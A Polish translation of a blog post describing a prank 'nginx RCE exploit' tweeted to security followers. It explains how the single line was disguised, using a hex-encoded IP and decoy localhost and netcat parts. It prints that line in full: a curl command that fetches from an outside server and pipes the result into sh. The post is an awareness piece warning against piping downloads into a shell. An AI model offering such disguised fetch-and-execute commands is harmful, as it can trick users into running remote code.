Sukces eksperymentu społecznego z fałszywym exploitem dla nginx

Przyp. tłum.: Autor oraz podjęto próbę przeprowadzenia eksperymentu wśród osób zainteresowanych bezpieczeństwem informacji. W tym celu przygotowano fałszywy exploit dla nieujawnionej luki w serwerze WWW i zamieszczono go na swoim Twitterze. Jego przypuszczenia dotyczące tego, że natychmiast zostanie zdemaskowany przez specjalistów, którzy zobaczą oczywiste oszustwo w kodzie, nie tylko się nie potwierdziły… Przeciwnie, przewyższyły wszelkie oczekiwania: tweet zyskał ogromne wsparcie od licznych użytkowników, którzy nie sprawdzili jego treści.

TL;DR: absolutnie nie używaj potoków plików w sh lub bash. To świetny sposób na utratę kontroli nad komputerem.

Chcę podzielić się z wami krótką historią o żartobliwym PoC-exploicie, który został stworzony 31 maja. Powstał szybko w odpowiedzi na wiadomość od Alisa Esage Szewczenko, członka Zero Day Initiative (ZDI), informującego, że wkrótce ujawnione zostaną szczegóły dotyczące luki w NGINX, prowadzącej do RCE (zdalnego wykonania kodu). Ponieważ NGINX jest podstawą wielu stron internetowych, wiadomość powinna była wywołać efekt bombowego wybuchu. Jednak z powodu opóźnień w procesie 'odpowiedzialnego ujawniania' szczegóły dotyczące zdarzenia były nieznane — taka jest standardowa procedura ZDI.

Tweet o ujawnieniu luki w NGINX

Kończąc pracę nad nową techniką obfuskacji w curl, zacytowałem oryginalnego tweeta i 'wyciekłem działający PoC', składający się z jednej linijki kodu, rzekomo wykorzystującej odkrytą lukę. Oczywiście, był to całkowity nonsens. Sądziłem, że natychmiast zostanę zdemaskowany, a w najlepszym razie dostanę kilka retweetów (cóż, niech będzie).

Tweet z fałszywym exploitem

Jednak nie mogłem sobie wyobrazić tego, co wydarzyło się później. Popularność mojego tweeta wzrosła niesamowicie. Co dziwne, do tej pory (15:00, 1 czerwca) niewiele osób zorientowało się, że to oszustwo. Wielu retweetuje go bez sprawdzania (nie mówiąc już o podziwianiu pięknej grafiki ASCII, którą wyświetla).

Zobaczcie, jaka to piękność!

Chociaż wszystkie te cykle i kolory są wspaniałe, jasne jest, że aby je zobaczyć, ludzie musieli uruchomić kod na swoim komputerze. Na szczęście przeglądarki działają w podobny sposób, a biorąc pod uwagę fakt, że nie potrzebuję problemów z prawem, kod ukryty na mojej stronie po prostu wywoływał polecenia echo, nie próbując ustawiać ani wykonywać jakiegokolwiek dodatkowego kodu.

Małe dygresja: netspooky, dnz, ja i inni chłopcy z zespołu Thugcrowd już od dłuższego czasu bawimy się różnymi sposobami obfuskacji poleceń curl, ponieważ to jest zabawne... i jesteśmy geekami. netspooky i dnz odkryli kilka nowych sposobów, które wydawały mi się niezwykle obiecujące. Dołączyłem do zabawy i postanowiłem dodać konwersję IP na format dziesiętny do zestawu sztuczek. Okazało się, że IP można także konwertować na format szesnastkowy. Ponadto, curl i większość innych narzędzi NIX chętnie „przyswaja” szesnastkowe IP! W rezultacie trzeba było po prostu stworzyć przekonującą i bezpiecznie wyglądającą linię poleceń. Ostatecznie zatrzymałem się na tej:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..///nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socjo-elektroniczne inżynierowanie (S.E.E.) — to więcej niż tylko phishing

Bezpieczeństwo i znajomość były kluczowymi częścią tego eksperymentu. Myślę, że to właśnie one przyczyniły się do jego sukcesu. Linia poleceń jednoznacznie sugerowała bezpieczeństwo, odnosząc się do „127.0.0.1” (wszystko znany localhost). Uważa się, że localhost jest bezpieczny, a dane na nim nigdy nie opuszczają twojego komputera.

Znajomość była drugim kluczowym składnikiem S.E.E. eksperymentu. Ponieważ docelowa publiczność składała się głównie z osób zaznajomionych z podstawami bezpieczeństwa komputerowego, ważne było stworzenie takiego kodu, aby jego elementy wydawały się znajome i wygodne (a zatem bezpieczne). Pożyczanie elementów starych koncepcji exploitów i ich łączenie w nietypowy sposób okazało się bardzo skuteczne.

Poniżej znajduje się szczegółowa analiza jednego wiersza. Wszystko na tej liście ma charakter kosmetyczny, a do jego rzeczywistego działania praktycznie nic nie jest wymagane.

Jakie komponenty są naprawdę potrzebne? To są -gsS, -O 0x0238f06a, |sh i sam serwer internetowy. Serwer nie zawierał żadnych złośliwych instrukcji, a jedynie przekazywał grafikę ASCII za pomocą poleceń echo w skrypcie zawartym w index.html. Gdy użytkownik wpisywał ciąg z |sh w środku, index.html ładowany był i wykonywany. Na szczęście strażnicy serwera internetowego nie mieli złych zamiarów.

• ../../../%00 — przedstawia wyjście poza katalog;
• ngx_stream_module.so — ścieżka do losowego modułu NGINX;
• /bin/sh%00<'protocol:TCP' — rzekomo uruchamiamy /bin/sh na docelowej maszynie i przekierowujemy wyjście do kanału TCP;
• -O 0x0238f06a#PLToffset — sekretny składnik, dodatkowo #PLToffset, aby wyglądać jak przesunięcie pamięci, zawierające się w PLT w jakiś sposób;
• |sh; — jeszcze jeden ważny fragment. Musieliśmy przekierować wyjście do sh/basha, aby wykonać kod pochodzący z atakującego serwera internetowego, znajdującego się pod adresem 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — atrapka, w której netcat odnosi się do /dev/tcp/localhost, aby wszystko znów wyglądało bezpiecznie. W rzeczywistości nic nie robi i jest wciągnięta do linii dla efektu.

Na tym kończy się dekodowanie jednolinijkowego skryptu i omówienie aspektów 'inżynierii socjo-elektronowej' (przebiegłego phishingu).

Konfiguracja serwera internetowego i środki zaradcze

Ponieważ zdecydowana większość moich subskrybentów to specjaliści w dziedzinie bezpieczeństwa IT/hackerzy, postanowiłem uczynić serwer internetowy trochę bardziej odpornym na przejawy 'zainteresowania' z ich strony, tylko po to, aby mieli co robić (a i konfiguracja była ciekawa). Nie zamierzam tutaj wymieniać wszystkich pułapek, ponieważ eksperyment wciąż trwa, ale oto kilka rzeczy, które serwer robi:

• Aktywnie monitoruje próby rozpowszechniania w określonych sieciach społecznościowych i podmienia różne miniatury podglądu, aby zachęcić użytkownika do kliknięcia linku.
• Przekierowuje Chrome/Mozilla/Safari/itd. na promocyjny film Thugcrowd zamiast pokazywać skrypt shell.
• Obserwuje EWIDENNE oznaki naruszenia bezpieczeństwa/łamania, po czym zaczyna przekierowywać zapytania do serwerów NSA (haha!).
• Instaluje trojana oraz rootkit BIOS na wszystkich komputerach, których użytkownicy odwiedzają host w zwykłej przeglądarce (żart!).

Mały fragment antymera

W tym przypadku moim jedynym celem było zgłębienie niektórych możliwości Apache — w szczególności fajnych reguł przekierowania zapytań — i pomyślałem: czemu nie?

Eksploit NGINX (prawdziwy!)

Śledź nas na @alisaesage Twitterze i obserwuj niesamowitą pracę ZDI nad naprawą rzeczywistych luk i możliwości eksploatacji w NGINX. Ich praca zawsze mnie fascynowała i jestem wdzięczny Alisie za cierpliwość w związku z wszystkimi wzmiankami i powiadomieniami spowodowanymi moim głupim tweetem. Na szczęście przyniósł on również pewne korzyści: pomógł zwiększyć świadomość na temat luk w NGINX oraz problemów wywołanych nadużywaniem curl’a.

Źródło: habr.com